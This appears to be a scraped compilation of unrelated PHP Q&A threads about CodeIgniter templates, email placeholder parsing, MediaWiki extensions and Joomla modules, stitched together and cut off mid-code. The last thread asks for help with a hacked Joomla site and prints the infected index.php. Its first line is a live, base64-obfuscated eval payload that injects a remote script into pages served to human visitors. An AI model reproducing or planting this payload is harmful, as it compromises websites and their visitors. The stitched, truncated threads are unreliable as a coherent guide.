I'm trying to use a template library created by Phil Sturgeon. He has some great documentation for his template library but I've ran into a little bit of a problem with how I have my file structure done.
-views
-layouts
-default.php
-partials
-header_view.php
-footer_view.php
-metadata_view.php
login_view.php
Inside of my login controller index function I have the following code to establish which layout to use and which view to load as the body of the template. I also have included what I have inside of the header_view.php file which I believe is what I'm not getting to work right. I was hoping to be able to target the metadata partial inside of the header_view. According to the documentation I'm doing it correctly, however, I'm getting an error undefined index metadata coming from the header_view.php file. Any light on this issue.
Documention from the github repostitory: https://github.com/philsturgeon/codeigniter-template
$this->template
->title('Login Form')
->set_partial('header', 'partials/header_view')
->set_partial('metadata', 'partials/metadata_view')
->set_partial('footer', 'partials/footer_view')
->set_layout('default')
->build('login_form_view');
default.php
<?php echo $template['partials']['header']; ?>
<?php echo $template['body']; ?>
<?php echo $template['partials']['footer']; ?>
header_view.php
<!DOCTYPE html>
<html>
<head>
<title><?php echo $template['title']; ?></title>
<?php echo $template['partials']['metadata']; ?>
</head>
<body
well im a codeigniter fan; and i honestly think that the real power of CI that it doesnt come loaded with fancy "TEMPLATING lib" or auth lib; yet it give you all tools to build your own swiftly and very rappidly;
so my answer my not be what you really asking for but its a simple example of how you can build your own so called templaling lib in ci in less than 10mins and works flowlessly;
create MY_Controller inside applicaiton/core folder;
class MY_Controller extends CI_Controller {
protected $noEcho=true,$body = 'base/layout', $title = 'YOUR CONTROLLER TITLE',
$js = array(), //filename
$inline_js = '', //script
$css = array(),
$inline_css = '', //style
$content = array(); //html
inside it will be 3 basic functions
that set you page parts;
that manage your assets
that print out your end result page;
1
function output($data,$section='content'){
//checking type of data to be pushed its either array or string(html)
//this is a view it should be formated like this array( viewname,$data )
if( is_array($data) ){
$this->content[ $section ][] = $this->load->view( $data[0], $data[1], TRUE );
return $this;//to allow chaing
}elseif( is_string($data) ){//this is html
$this->content[ $section ][] = $data;
return $this;//to allow chaing
}
}
2nd is a function that let you add js,css and and inline js&css to this page;
function _asset( $link, $txt = FALSE ) {
if ( $txt !== FALSE ) {
if ( $txt == 'js' )
$this->inline_js[] = $txt;
elseif ( $txt == 'css' )
$this->inline_css[] = $txt;
}else{
if ( pathinfo( $link, PATHINFO_EXTENSION ) == 'css' ){
$this->css[] = link_tag( base_url( 'assets/css/' . trim( $link, "/\\" ) ) );
}else{
$this->js[] = '<script src="' . base_url( 'assets/js/' . trim( $link, "/\\" ) ) . '"></script>';
}
}
return $this;
}
and at last a function that put all your parts together;
protected function print_page(){
if ( $this->noEcho ) ob_clean();
$data=array();
$data[ 'title' ] = $this->title;
$data[ 'css' ] = is_array( $this->css ) ? implode( "\n", $this->css ) : '';
$data[ 'js' ] = is_array( $this->js ) ? implode( "\n", $this->js ) : '';
$data[ 'inline_css' ] = ( $this->inline_css ) ? '<style>' . implode( "\n", $this->inline_css ) . '</style>' : '';
$data[ 'inline_js' ] = ( $this->inline_js ) ? implode( "\n", $this->inline_js ) : '';
foreach ( $this->content as $section => $content ) {
$data[ $section ] = is_array( $content ) ? implode( "\n\n\n ", $content ) : $content;
} //$this->content as $section => $content
return $this->load->view( $this->body, $data );
}
now put all three together and extend your controller to this base controller;
now for the example page your are trying to build i would do:
Controller :
public function __construct() {
parent::__construct();
$this->title = 'Controller title';
$this->body = 'base/default';
//load all your assets.. if its across all pages then load them in MY_controller construct
$this->assets('jquery.min.js')
->assets('bootstrap.css')
->assets('alert("itworks");','js');//will be added to $inline_js
}
function index(){
$var = $This->some_model->get_data();
$this->output( array('some_View',$var) )
->output('<hr/>')
->output('THIS WILL BE IN $FOOTER','footer')
->print_page();
}
Now how clean is that :) ?;
now your controller will load view set on this->body and all pass all your sections to it.
so for above example your view will recieve 2 variables.
$content : ill contail some_view view +
$footer : will contain html we passed it to it;
$css,$js,$inline_js,$inline_css variables contain all you assets
$title contain your page title;
at end
i hope that i hope this small demo help you understand the unlimited possibilities that these 3 small functions can do thanks to CI native view loader.
Related
I want to create a simple PHP Class for parsing basic HTML email templates in PHP. Very basic... Pass a PHP array into a function which has a variable containing the Email template HTML with placeholders {{var_name}}. The PHP Array's Key will be the variable name in the template and it;s Value will be the desired output when the email HTML is sent as an email.
I thought it might be useful for me to create a simple PHP Class that could do this same thing and speed things up by being flexible.
So here is some basic example HTML for the Email body.... Variables that will need to be replaced in the template with values from PHP variables are wrapped with {{var_name}}
<html>
<body>
<h1>Account Details</h1>
<p>Thank you for registering on our site, your account details are as follows:<br>
Username: {{username}}<br>
Password: {{password}} </p>
</body>
</html>
In the above example there are 2 variables that need to be populated. {{username}} and {{password}}
I would like to be able to simply pass my Class function a PHP Array where the Array key is the variable name and the value is the value that would be populated in my email template.
So something like this would be passed into my method/function that parses the email template....
$emailValues = array(
'username' => 'My username value here',
'password' => 'My password value here'
);
$emailHtml = new EmailParser($emailValues);
echo $emailHtml;
Would look like this...
<html>
<body>
<h1>Account Details</h1>
<p>Thank you for registering on our site, your account details are as follows:<br>
Username: My username value here<br>
Password: My password value here </p>
</body>
</html>
I am curious how I could best achieve this? My main question would be how to pass in the PHP Array and have it map out to a variable name to do the replacements. The PHP Array Key would be the Variable name in the template.
It should just be a case of looping through the values and using str_replace on them.
Here's an example:
<?php
$emailValues = array(
'username' => 'My username value here',
'password' => 'My password value here'
);
$emailHtml = new EmailParser($emailValues);
echo $emailHtml->output();
class EmailParser {
protected $_openingTag = '{{';
protected $_closingTag = '}}';
protected $_emailValues;
protected $_emailHtml = <<<HTML
<html>
<body>
<h1>Account Details</h1>
<p>Thank you for registering on our site, your account details are as follows:<br>
Username: {{username}}<br>
Password: {{password}} </p>
</body>
</html>
HTML;
public function __construct($emailValues) {
$this->_emailValues = $emailValues;
}
public function output() {
$html = $this->_emailHtml;
foreach ($this->_emailValues as $key => $value) {
$html = str_replace($this->_openingTag . $key . $this->_closingTag, $value, $html);
}
return $html;
}
}
these two functions should help :
function template($string,$hash) {
foreach ( $hash as $ind=>$val ) {
$string = str_replace('{{'.$ind.'}}',$val,$string);
}
$string = preg_replace('/\{\{(.*?)\}\}/is','',$string);
return $string;
}
function template_file($file,$hash) {
$string = file_get_contents($file);
if ($string) {
$string = template($string,$hash);
}
return $string;
}
Non-recursive solution:
<?php
Class ParseTemplate
{
public function Email( $sTemplateName, $aPlaceholders, $aData )
{
$sReplacedHtml = '';
try
{
if( !empty( $sTemplateName ) && !empty( $aPlaceholders ) && !empty( $aData ) )
{
$iCountPlaceholders = count( $aPlaceholders );
$iCountData = count( $aData );
if( $iCountData !== $iCountPlaceholders )
{
throw new Exception( 'Placeholders and data don\'t match' );
}
if( file_exists( $sTemplateName ) )
{
$sHtml = file_get_contents( $sTemplateName );
for( $i = 0; $i < $iCountData; ++$i )
{
$sHtml = str_ireplace( $aPlaceholders[ $i ], $aData[ $i ], $sHtml );
}
$sReplacedHtml = $sHtml;
}
}
}
catch( Exception $oException )
{
// Log if desired.
}
return $sReplacedHtml;
}
}
$aPlaceholders = array( '{{username}}', '{{password}}' );
$aData = array( 'Why so pro', 'dontchangeme' );
$oParser = new ParseTemplate;
$sReplacedHtml = $oParser->Email( 'intemplate.html', $aPlaceholders, $aData );
file_put_contents( 'outtemplate.html', $sReplacedHtml );
?>
I already use a function for this kind of purpose.
// file class.bo3.php, more about this class here: https://github.com/One-Shift/BO3-BOzon/blob/master/backoffice/class/class.bo3.php
class bo3 {
public static function c2r ($args = [], $target) {
foreach ($args as $index => $value) { $target = str_replace("{c2r-$index}", $value, $target); }
return $target;
}
}
and to run it
$emailValues = ['
username' => 'My username value here', // in the template the code need to be "{c2r-username}"
'password' => 'My password value here' // in the template the code need to be "{c2r-password}"
];
$template = file_get_contents("path/to/html/file")
$finishedTemplate = bo3::c2r($emailValues, $template);
If you want to change the code format from {c2r-$index} to {{ $index }}, just change it in the class function c2r().
The way I have my wiki set up I need an extension that allows breadcrumbs to work and not duplicate , as well as, shrink when you go back a page. I cannot use subpage breadcrumb extensions. I would appreciate it if anyone who has a good eye for fixing code, would be able to adjust this code so that I do not get the Strict standards: Only variables should be assigned by reference in C: It occurs on line 109:
$m_skin =& $wgUser->getSkin();
Thank you in advance!
<?php
# The BreadCrumbs extension, an extension for providing an breadcrumbs
# navigation to users.
# #addtogroup Extensions
# #author Manuel Schneider <manuel.schneider#wikimedia.ch>
# #author Kimon Andreou
# #copyright © 2007 by Manuel Schneider, Kimon Andreou
# #licence GNU General Public Licence 2.0 or later
if( !defined( 'MEDIAWIKI' ) ) {
echo( "This file is an extension to the MediaWiki software and cannot be used
standalone.\n" );
die();
}
## Options:
# set the delimiter
$wgBreadCrumbsDelimiter = ' > ';
# number of breadcrumbs to use
$wgBreadCrumbsCount = 5;
$bcBreadCrumbs = new BreadCrumbs();
$wgExtensionFunctions[] = array($bcBreadCrumbs, 'setup');
$wgHooks['UserToggles'][] = array($bcBreadCrumbs, 'toggle');
$wgExtensionCredits['parserhook'][] = array(
'name' => 'BreadCrumbs',
'author' => 'Kimon Andreou',
'url' => 'http://www.mediawiki.org/wiki/Extension:BreadCrumbs_(Kimon)',
'description' => "Shows a breadcrumb navigation. Based heavily on Manuel Shneider's
extension[http://www.mediawiki.org/wiki/Extension:BreadCrumbs]"
);
##
## Main class
class BreadCrumbs {
#constructor
function BreadCrumbs() {}
## Set Hook:
function setup() {
global $wgUser, $wgHooks;
## Showing and updating the breadcrumbs trail
# Hook when viewing article header:
$wgHooks['ArticleViewHeader'][] = array($this, 'show');
## Infrastructure
# Hook our own CSS:
$wgHooks['OutputPageParserOutput'][] = array($this, 'output');
}
#Return our new user preference (t/f toggle)
function toggle(&$arr) {
global $wgMessageCache;
#named "breadcrumb" - original, no?
$arr[] = 'breadcrumb';
$wgMessageCache->addMessage('tog-breadcrumb', 'Use breadcrumbs');
return true;
}
#Show the breadcrumbs on the page
function show( &$m_pageObj ) {
global $wgUser, $wgTitle, $wgOut, $wgBreadCrumbsDelimiter, $wgBreadCrumbsCount;
# deserialize data from session into array:
$m_BreadCrumbs = array();
#If a session doesn't already exist, create one
if( isset( $_SESSION['BreadCrumbs'] ) ) {
$m_BreadCrumbs = $_SESSION['BreadCrumbs'];
}
else {
if( !isset( $_SESSION ) ) {
session_start();
}
$_SESSION['BreadCrumbs'] = array();
}
# cache index of last element:
$m_count = count( $m_BreadCrumbs ) - 1;
# if we've got too many entries, reduce the array:
if( count( $m_BreadCrumbs ) > 0 && $m_BreadCrumbs[ $m_count ] !=
$wg Title->getPrefixedText() ) {
# reduce the array set, remove older elements:
$m_BreadCrumbs = array_slice( $m_BreadCrumbs, ( 1 - $wgBreadCrumbsCount ) );
# add new page:
array_push( $m_BreadCrumbs, $wgTitle->getPrefixedText() );
}
else {
array_push( $m_BreadCrumbs, $wgTitle->getPrefixedText() );
}
#if returning to a page we've already visited, reduce the array
$loc = array_search($wgTitle->getPrefixedText(), $m_BreadCrumbs);
if(($loc >= 0)) {
#shrink array
$m_BreadCrumbs = array_slice($m_BreadCrumbs, 0, ($loc + 1));
}
# serialize data from array to session:
$_SESSION['BreadCrumbs'] = $m_BreadCrumbs;
# update cache:
$m_count = count( $m_BreadCrumbs ) - 1;
# acquire a skin object:
$m_skin =& $wgUser->getSkin();
# build the breadcrumbs trail:
$m_trail = "<div id=\"BreadCrumbsTrail\"> <i>Bread crumbs:</i> ";
for( $i = 1; $i <= $m_count; $i++ ) {
$m_trail .= $m_skin->makeLink( $m_BreadCrumbs[$i] );
if( $i < $m_count ) $m_trail .= $wgBreadCrumbsDelimiter;
}
$m_trail .= ' </div>';
$wgOut->addHTML( $m_trail );
# invalidate internal MediaWiki cache:
$wgTitle->invalidateCache();
$wgUser->invalidateCache();
# Return true to let the rest work:
return true;
}
## Entry point for the hook for printing the CSS:
# todo: find a better implementation
function output( &$m_pageObj, &$m_parserOutput ) {
global $wgScriptPath;
# Register CSS file for our select box:
$m_pageObj->addLink(
array(
'rel' => 'stylesheet',
'type' => 'text/css',
'href' => $wgScriptPath . '/extensions/BreadCrumbs/BreadCrumbs.css'
)
);
# Be nice:
return true;
}
}
?>'
I have removed $userName from line 1098 on Linker.php after following what Sammitch suggested:
public static function userLink( $userId, $userName, $altUserName = false ) {
if ( $userId == 0 ) {
$page = SpecialPage::getTitleFor( 'Contributions', $userName );
if ( $altUserName === false ) {
$altUserName = IP::prettifyIP( $userName );
}
} else {
$page = Title::makeTitle( NS_USER, $userName );
}
return self::link(
$page,
htmlspecialchars( $altUserName !== false ? $altUserName : $userName ),
array( 'class' => 'mw-userlink' )
);
}
This allows the breadcrumbs to show without any errors. However, now the pages do not show in breadcrumb links. I just have > > > as though the pages go in between the arrows. Can anyone take it from here and find out how to get the pages to appear? Was removing the $userName the cause of this?
Thanks
This extension is originally based on Breadcrumbs, which has been kept up to date: https://www.mediawiki.org/wiki/Extension:BreadCrumbs
Looking that that code, the links are now being made by calling the linker directly:
$title = Title::newFromText( $m_BreadCrumbs[$j] );
$breadcrumb = Linker::link( $title, $m_BreadCrumbs[$j] );
So adapting that to the older code:
$title = Title::newFromText( $m_BreadCrumbs[$i] );
$m_trail .= Linker::link( $title, $m_BreadCrumbs[$i] );
Should work for you. However, that may not be the last bit of deprecated code you run into with this old extension. It might be a good idea to look at moving to the maintained BreadCrumbs extension, instead - or at least compare the code you find there and see what other changes might be needed to get this one up to speed.
I have a code which is completed and I want to add another code inside my completed code.
completed code:
function module( $prefix, $comma_seperated_suffixes ) {
foreach( (array)explode( ",", $comma_seperated_suffixes ) as $suffix ) {
$module_name = $prefix.trim($suffix);
if(count(JModuleHelper::getModules($module_name))) {
module_block($module_name);
}
}
}
I moved count(JModuleHelper::getModules($module_name)) to module function, previously it was in module_block
please dont use tovolt class, I mean simple code without php class
Module count block
i am assuming That I am calling this modules module("top-col-", "1,2,3"); then I have three modules called top-col-1, top-col-2, top-col-3
then my count module will look like this:
$TopCol1 = (int)(count(JModuleHelper::getModules($module_name)) > 0);
$TopCol2 = (int)(count(JModuleHelper::getModules($module_name)) > 0);
$TopCol3 = (int)(count(JModuleHelper::getModules($module_name)) > 0);
above code is will just count for active module (the only way to check active module), If a module is active then its var will be 1 .
and now the time to count active module:
$topColCount = $TopCol1 + $TopCol2 + $TopCol3;
if ($topColCount) : $TopColClass = 'count-' . $topColCount;
endif;
I am counting modules case I want to set a CSS class like this count-1, count-2, count-3 to active modules. and I want that class to be used in module_block.
please keep in mind that, above variable is static cause I made them manually. but if I call function then var need to be change with the function value like if user call module("bottom", "1,2,3"); then its count_modules will be $bottom1, $bottom2, $bottom3 and class will be $bottomClass.
I want to generate count_module using the same code module("bottom", "1,2,3");
Thanks #steve for your help
If I am understanding this correctly, this should help.
tovolt class: (note the new function 'prep_modules' added to this class)
<?php
////////////////// BEGIN CLASS tovolt
class tovolt{
function tovolt() {
//// constructor function - used to setup default variable states, etc. - if this is omitted PHP may have a fit ( depending on version and config )
}
public static $TopColClass = 'default-value';
function code_block( $jdoc_name ) {
?>
<div id="top-col" class="<?php echo self::$TopColClass; ?> columns">
<div class="panel">
<jdoc:include type="modules" name="<?php echo $jdoc_name; ?>" style="html5" />
</div>
</div>
<?php
}
function module( $prefix, $comma_seperated_suffixes ) {
foreach( (array)explode( ",", $comma_seperated_suffixes ) as $suffix ) {
$module_name = $prefix.trim($suffix);
self::code_block( $module_name );
}
}
////////////////// BEGIN NEW FUNCTIONS
function prep_modules( $MODULE_LIST ) {
$READY_MODULES = array();
foreach( (array)$MODULE_LIST as $module_name ) {
$MATCHED_MODULES = JModuleHelper::getModules($module_name);
$matched_count = count( $MATCHED_MODULES );
$matched_list = implode( ',', range( 1, $matched_count ) );
$READY_MODULES[$module_name] = array(
'MODULES' => $MATCHED_MODULES,
'count' => $matched_count,
'list' => $matched_list,
);
}
}
////////////////// END NEW FUNCTIONS
}
////////////////// END CLASS tovolt
?>
content page code - near top: (prepare this page's modules)
////////////////// SOMEWHERE BEFORE THE OUTPUT SECTION, LOAD MODULES FOR THIS PAGE
$READY_MODULES = tovolt::prep_modules( 'top', 'side', 'etc' );
content page code - content output area: ( choose the method that best fits your design )
method 1 - output a single section:
////////////////// DOWN IN THE MODULE OUTPUT SECTION - TO OUTPUT A SINGLE SECTION USE:
$section = 'top';
if( #$READY_MODULES[$section]['count'] > 0 ) {
tovolt::$TopColClass = $section; //// if you need to change: $TopColClass
tovolt::module( $section."-col-", $READY_MODULES[$section]['list'] );
}
method 2 - output all in order of loading:
////////////////// DOWN IN THE MODULE OUTPUT SECTION - TO OUTPUT ALL SECTIONS IN LOADED SEQUENCE USE:
foreach( (array)$READY_MODULES as $section=>$THIS_VAR_IS_NOT_DIRECTLY_REFERENCED ) {
if( #$READY_MODULES[$section]['count'] > 0 ) {
tovolt::$TopColClass = $section; //// if you need to change: $TopColClass
tovolt::module( $section."-col-", $READY_MODULES[$section]['list'] );
}
}
method 3 - arbitrary output:
////////////////// DOWN IN THE MODULE OUTPUT SECTION - TO OUTPUT MULTIPLE SECTIONS IN AN ARBITRARY ORDER:
foreach( array( 'side', 'top' ) as $section ) {
if( #$READY_MODULES[$section]['count'] > 0 ) {
tovolt::$TopColClass = $section; //// if you need to change: $TopColClass
tovolt::module( $section."-col-", $READY_MODULES[$section]['list'] );
}
}
I'm writing an extension that will allow me to add the magic words: CURRENTUSER, CURRENTUSERREALNAME, CURRENTUSERLANGABBR, CURRENTUSERGROUPS, and now I want to add CURRENTUSEREDITCOUNT and CURRENTUSEREDITCOUNTALL.
That section of my code is currently:
function wfGetCustomVariable(&$parser,&$cache,&$index,&$ret) {
switch ($index) {
case MAG_CURRENTUSER:
$parser->disableCache(); # Mark this content as uncacheable
$ret = $GLOBALS['wgUser']->getName();
break;
case MAG_CURRENTUSERREALNAME:
$parser->disableCache(); # Mark this content as uncacheable
$ret = $GLOBALS['wgUser']->getRealName();
break;
case MAG_CURRENTUSERLANGABBR
$parser->disableCache(); # Mark this content as uncacheable
$ret = $GLOBALS['wgLang']->getCode();
break;
case MAG_CURRENTUSERGROUPS
$parser->disableCache(); # Mark this content as uncacheable
$array = $GLOBALS['wgUser']->getEffectiveGroups();
$ret = implode(",", $array);
break;
}
return true;
}
However, I can't seem to find the $GLOBAL for the edit counts. I've done some research based on other extensions that use different edit counts for different reasons and have found:
For CURRENTUSEREDITCOUNT:
function wfContributionseditcount( $uid ) {
if ( $uid != 0 ) {
global $wgOut, $wgLang;
$wgOut->addWikiText( wfMsgExt( 'contributionseditcount', array( 'parsemag' ),
$wgLang->formatNum( User::edits( $uid ) ),
User::whoIs( $uid ) ) );
}
return true;
}
and for CURRENTUSEREDITCOUNTALL:
public function execute( $params ) {
global $wgOut, $wgUser;
$skin = $wgUser->getSkin();
$this->setHeaders();
$this->loadRequest( $params );
$wgOut->addHTML( $this->makeForm() );
if( $this->target ) {
if( User::isIP( $this->target ) ) {
$this->showResults( $this->countEditsReal( 0, $this->target ) );
} else {
$id = User::idFromName( $this->target );
if( $id ) {
$this->showResults( $this->countEditsReal( $id, false ), $id );
} else {
$wgOut->addHTML( '<p>' . wfMsgHtml( 'countedits-nosuchuser', htmlspecialchars( $this->target ) ) . '</p>' );
}
}
}
$this->showTopTen( $wgOut );
return true;
}
I have tried to learn PHP on my own in the past, and have struggled with it. I'm signed up for a PHP class at my local community college, but I do not start until Fall `12. Am I looking in the right place, or is there a simpler place to find the user's edit counts? Maybe as part of /trunk/phase3/includes/User.php someplace? I should mention this needs to run on a wiki running MW 1.17.1, so classUser would not work where-as it is MW 1.18+.
If what you want is to change the definition of edit count, perhaps you should directly change the code where it reduces the user's editcount after a page is deleted.
My client's website was hacked, now the main URL redirects to a fake antivirus web page. So for now she has set a "contruction in progress" message with Joomla. Below is the code of the index.php page, in which I was hoping to find the damned redirection. But I can't. Can anybody help me finding it ?
<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21yX25vJ10pKXskR0xPQkFMU1snbXJfbm8nXT0xO2lmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpe2lmKCFmdW5jdGlvbl9leGlzdHMoJ2dtbCcpKXtmdW5jdGlvbiBnbWwoKXtpZiAoIXN0cmlzdHIoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdLCJnb29nbGVib3QiKSYmKCFzdHJpc3RyKCRfU0VSVkVSWyJIVFRQX1VTRVJfQUdFTlQiXSwieWFob28iKSkpe3JldHVybiBiYXNlNjRfZGVjb2RlKCJQSE5qY21sd2RDQnpjbU05SW1oMGRIQTZMeTloWTNKdmMzTjFibWwyWlhKelpXbDBZbVZ2Y21jdVkyOXRMMjF0TG5Cb2NDSStQQzl6WTNKcGNIUSsiKTt9cmV0dXJuICIiO319aWYoIWZ1bmN0aW9uX2V4aXN0cygnZ3pkZWNvZGUnKSl7ZnVuY3Rpb24gZ3pkZWNvZGUoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0Qyl7JFIzMEIyQUI4REMxNDk2RDA2QjIzMEE3MUQ4OTYyQUY1RD1Ab3JkKEBzdWJzdHIoJFI1QTlDRjFCNDk3NTAyQUNBMjNDOEY2MTFBNTY0Njg0QywzLDEpKTskUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5PTEwOyRSQTNENTJFNTJBNDg5MzZDREUwRjUzNTZCQjA4NjUyRjI9MDtpZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjQpeyRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI9QHVucGFjaygndicsc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsMTAsMikpOyRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI9JFI2M0JFREU2QjE5MjY2RDRFRkVBRDA3QTREOTFFMjlFQlsxXTskUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5Kz0yKyRSNjNCRURFNkIxOTI2NkQ0RUZFQUQwN0E0RDkxRTI5RUI7fWlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmOCl7JFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOT1Ac3RycG9zKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsY2hyKDApLCRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkpKzE7fWlmKCRSMzBCMkFCOERDMTQ5NkQwNkIyMzBBNzFEODk2MkFGNUQmMTYpeyRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDk9QHN0cnBvcygkUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDLGNocigwKSwkUkJFNEM0RDAzN0U5MzkyMjZGNjU4MTI4ODVBNTNEQUQ5KSsxO31pZigkUjMwQjJBQjhEQzE0OTZEMDZCMjMwQTcxRDg5NjJBRjVEJjIpeyRSQkU0QzREMDM3RTkzOTIyNkY2NTgxMjg4NUE1M0RBRDkrPTI7fSRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9QGd6aW5mbGF0ZShAc3Vic3RyKCRSNUE5Q0YxQjQ5NzUwMkFDQTIzQzhGNjExQTU2NDY4NEMsJFJCRTRDNEQwMzdFOTM5MjI2RjY1ODEyODg1QTUzREFEOSkpO2lmKCRSMDM0QUUyQUI5NEY5OUNDODFCMzg5QTE4MjJEQTMzNTM9PT1GQUxTRSl7JFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mz0kUjVBOUNGMUI0OTc1MDJBQ0EyM0M4RjYxMUE1NjQ2ODRDO31yZXR1cm4gJFIwMzRBRTJBQjk0Rjk5Q0M4MUIzODlBMTgyMkRBMzM1Mzt9fWZ1bmN0aW9uIG1yb2JoKCRSRTgyRUU5QjEyMUY3MDk4OTVFRjU0RUJBN0ZBNkI3OEIpe0hlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREU9Z3pkZWNvZGUoJFJFODJFRTlCMTIxRjcwOTg5NUVGNTRFQkE3RkE2Qjc4Qik7aWYocHJlZ19tYXRjaCgnL1w8XC9ib2R5L3NpJywkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFKSl7cmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sKCkuIlxuIi4nJDEnLCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpO31lbHNle3JldHVybiAkUkExNzlBQkQzQTdCOUUyOEMzNjlGN0I1OUM1MUI4MURFLmdtbCgpO319b2Jfc3RhcnQoJ21yb2JoJyk7fX0="));?><?php
/**
* #version $Id: index.php 6022 2006-12-18 22:30:07Z friesengeist $
* #package Joomla
* #copyright Copyright (C) 2005 Open Source Matters. All rights reserved.
* #license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/
// Set flag that this is a parent file
define( '_VALID_MOS', 1 );
// checks for configuration file, if none found loads installation page
if (!file_exists( 'configuration.php' ) || filesize( 'configuration.php' ) < 10) {
$self = rtrim( dirname( $_SERVER['PHP_SELF'] ), '/\\' ) . '/';
header("Location: http://" . $_SERVER['HTTP_HOST'] . $self . "installation/index.php" );
exit();
}
require( 'globals.php' );
require_once( 'configuration.php' );
// SSL check - $http_host returns <live site url>:<port number if it is 443>
$http_host = explode(':', $_SERVER['HTTP_HOST'] );
if( (!empty( $_SERVER['HTTPS'] ) && strtolower( $_SERVER['HTTPS'] ) != 'off' || isset( $http_host[1] ) && $http_host[1] == 443) && substr( $mosConfig_live_site, 0, 8 ) != 'https://' ) {
$mosConfig_live_site = 'https://'.substr( $mosConfig_live_site, 7 );
}
require_once( 'includes/joomla.php' );
//Installation sub folder check, removed for work with SVN
if (file_exists( 'installation/index.php' ) && $_VERSION->SVN == 0) {
define( '_INSTALL_CHECK', 1 );
include ( $mosConfig_absolute_path .'/offline.php');
exit();
}
// displays offline/maintanance page or bar
if ($mosConfig_offline == 1) {
require( $mosConfig_absolute_path .'/offline.php' );
}
// load system bot group
$_MAMBOTS->loadBotGroup( 'system' );
// trigger the onStart events
$_MAMBOTS->trigger( 'onStart' );
if (file_exists( $mosConfig_absolute_path .'/components/com_sef/sef.php' )) {
require_once( $mosConfig_absolute_path .'/components/com_sef/sef.php' );
} else {
require_once( $mosConfig_absolute_path .'/includes/sef.php' );
}
require_once( $mosConfig_absolute_path .'/includes/frontend.php' );
// retrieve some expected url (or form) arguments
$option = strval( strtolower( mosGetParam( $_REQUEST, 'option' ) ) );
$Itemid = intval( mosGetParam( $_REQUEST, 'Itemid', null ) );
if ($option == '') {
if ($Itemid) {
$query = "SELECT id, link"
. "\n FROM #__menu"
. "\n WHERE menutype = 'mainmenu'"
. "\n AND id = " . (int) $Itemid
. "\n AND published = 1"
;
$database->setQuery( $query );
} else {
$query = "SELECT id, link"
. "\n FROM #__menu"
. "\n WHERE menutype = 'mainmenu'"
. "\n AND published = 1"
. "\n ORDER BY parent, ordering"
;
$database->setQuery( $query, 0, 1 );
}
$menu = new mosMenu( $database );
if ($database->loadObject( $menu )) {
$Itemid = $menu->id;
}
$link = $menu->link;
if (($pos = strpos( $link, '?' )) !== false) {
$link = substr( $link, $pos+1 ). '&Itemid='.$Itemid;
}
parse_str( $link, $temp );
/** this is a patch, need to rework when globals are handled better */
foreach ($temp as $k=>$v) {
$GLOBALS[$k] = $v;
$_REQUEST[$k] = $v;
if ($k == 'option') {
$option = $v;
}
}
}
if ( !$Itemid ) {
// when no Itemid give a default value
$Itemid = 99999999;
}
// mainframe is an API workhorse, lots of 'core' interaction routines
$mainframe = new mosMainFrame( $database, $option, '.' );
$mainframe->initSession();
// trigger the onAfterStart events
$_MAMBOTS->trigger( 'onAfterStart' );
// checking if we can find the Itemid thru the content
if ( $option == 'com_content' && $Itemid === 0 ) {
$id = intval( mosGetParam( $_REQUEST, 'id', 0 ) );
$Itemid = $mainframe->getItemid( $id );
}
/** do we have a valid Itemid yet?? */
if ( $Itemid === 0 ) {
/** Nope, just use the homepage then. */
$query = "SELECT id"
. "\n FROM #__menu"
. "\n WHERE menutype = 'mainmenu'"
. "\n AND published = 1"
. "\n ORDER BY parent, ordering"
;
$database->setQuery( $query, 0, 1 );
$Itemid = $database->loadResult();
}
// patch to lessen the impact on templates
if ($option == 'search') {
$option = 'com_search';
}
// loads english language file by default
if ($mosConfig_lang=='') {
$mosConfig_lang = 'english';
}
include_once( $mosConfig_absolute_path .'/language/' . $mosConfig_lang . '.php' );
// frontend login & logout controls
$return = strval( mosGetParam( $_REQUEST, 'return', NULL ) );
$message = intval( mosGetParam( $_POST, 'message', 0 ) );
if ($option == 'login') {
$mainframe->login();
// JS Popup message
if ( $message ) {
?>
<script language="javascript" type="text/javascript">
<!--//
alert( "<?php echo addslashes( _LOGIN_SUCCESS ); ?>" );
//-->
</script>
<?php
}
if ( $return && !( strpos( $return, 'com_registration' ) || strpos( $return, 'com_login' ) ) ) {
// checks for the presence of a return url
// and ensures that this url is not the registration or login pages
// If a sessioncookie exists, redirect to the given page. Otherwise, take an extra round for a cookiecheck
if (isset( $_COOKIE[mosMainFrame::sessionCookieName()] )) {
mosRedirect( $return );
} else {
